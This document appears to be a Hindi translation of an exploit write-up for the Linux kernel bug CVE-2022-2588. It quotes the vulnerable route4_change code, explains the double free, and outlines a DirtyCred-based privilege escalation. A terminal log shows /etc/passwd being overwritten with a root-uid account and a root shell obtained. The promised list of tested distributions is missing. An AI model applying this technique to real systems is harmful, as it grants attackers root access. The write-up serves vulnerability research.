
CVE-2022-2588 के लिए एक्सप्लॉइट कोड
यह बग Linux v5.19 में इस कमिट द्वारा ठीक किया गया है।
यह बग Linux v3.17 में वर्ष 2014 में इस कमिट द्वारा पेश किया गया था। इसे ट्रिगर करने के लिए User Namespaces की आवश्यकता होती है। यह बग CVE-2021-3715 के समान है, जो route4_filter की लिंक्ड सूची पर अनुचित संचालन के कारण उत्पन्न हुआ था। CVE-2021-3715 के अधिक विवरण ब्लैकहैट वार्ता (पृष्ठ 16) में पाए जा सकते हैं। निम्नलिखित CVE-2022-2588 के कुछ संक्षिप्त विवरण हैं।
निम्नलिखित route4_change फ़ंक्शन के कुछ महत्वपूर्ण कोड स्निपेट CVE-2022-2588 को समझने के लिए दिखाते हैं।
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
यह फ़ंक्शन route4_filter ऑब्जेक्ट को आरंभ/प्रतिस्थापित करने के लिए लागू किया गया है। फ़िल्टर प्रत्येक फ़िल्टर के बीच अंतर करने के लिए handle को एक अद्वितीय आईडी के रूप में उपयोग करता है। यदि कोई हैंडल जो पहले आरंभ किया जा चुका है, मौजूद है (अर्थात fold चर null नहीं है), तो यह पुराने फ़िल्टर को हटाकर और नया फ़िल्टर जोड़कर फ़िल्टर अपडेट करेगा, अन्यथा यह केवल एक नया फ़िल्टर जोड़ेगा।
[0] में, कर्नेल route4_filter ऑब्जेक्ट आवंटित करता है। [1] में, यदि fold खाली नहीं है, जिसका अर्थ है कि समान हैंडल वाला एक फ़िल्टर मौजूद है, तो यह नए फ़िल्टर में कुछ जानकारी कॉपी करेगा और [2] में नए फ़िल्टर को आरंभ करेगा, फिर [3] में नए फ़िल्टर को सूची में सम्मिलित करेगा। यदि पुराना फ़िल्टर मौजूद है, तो उसे [4] में सूची से हटा दिया जाता है और [6] में मुक्त कर दिया जाता है।
बग [4] में होता है, जो जाँचता है कि हटाने के लिए कोई पुराना फ़िल्टर मौजूद है या नहीं। शर्त सुनिश्चित करती है कि हैंडल शून्य नहीं होना चाहिए और नए फ़िल्टर के हैंडल से मेल खाना चाहिए। यह शर्त [6] में फ़िल्टर को मुक्त करने की शर्त के साथ संरेखित नहीं होती है, जो केवल जाँच करती है कि पुराना फ़िल्टर मौजूद है या नहीं। इसलिए, यदि उपयोगकर्ता हैंडल 0 वाला फ़िल्टर बनाते हैं, फिर उसके प्रतिस्थापन को ट्रिगर करते हैं, तो फ़िल्टर [4] में अनलिंक नहीं होगा बल्कि [6] में मुक्त हो जाएगा, क्योंकि उनकी शर्तें समान नहीं हैं।
चूँकि यह बग CVE-2021-3715 के समान है, इनके प्रिमिटिव लगभग समान हैं। प्रिमिटिव के अधिक विस्तृत विवरण के लिए पाठक ब्लैकहैट वार्ता देख सकते हैं। यह राइट-अप DirtyCred के विचार के साथ शोषण दिखाता है।
चूँकि बग ट्रिगर होने के बाद मुक्त किया गया fold अभी भी लिंक्ड सूची पर है, हम fold को फिर से मुक्त कर सकते हैं, जो अंततः route4_filer ऑब्जेक्ट पर डबल फ्री का कारण बनेगा, और यदि CONFIG_NET_CLS_ACT सक्षम है तो route4_filter->exts.action ऑब्जेक्ट पर भी।
शोषण कोड उन दो डबल-फ्री क्षमताओं का उपयोग task credentials (kmalloc-192 डबल फ्री का उपयोग करते हुए, जल्द ही आने वाला) और open file credentials (kmalloc-256 डबल फ्री का उपयोग करते हुए) पर हमले का प्रदर्शन करने के लिए करता है।
DirtyCred के विचार का अनुसरण करते हुए, शोषण कोड अनुमति जाँच के बाद फ़ाइल क्रेडेंशियल बदल देता है, ताकि हम पढ़ने की अनुमति वाली फ़ाइलों में कोई भी सामग्री लिख सकें। आदर्श रूप से, कोड बग से प्रभावित सभी कर्नेल संस्करणों पर काम कर सकता है। यह ध्यान दिया जाता है कि पुराने कर्नेल जिनमें msg_msg को kmalloc-rcl-* में अलग किया गया है, वहाँ कोड काम करे, यह सुनिश्चित करने के लिए शोषण एक अलग स्प्रे ऑब्जेक्ट का उपयोग करता है।
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
यह शोषण अधिक से अधिक डिस्ट्रोस पर काम करने के लिए लिखा गया था। इसे निम्नलिखित पर काम करते हुए पुष्टि की गई है:
कृपया उपयोगकर्ता low और पासवर्ड low के साथ लॉगिन करें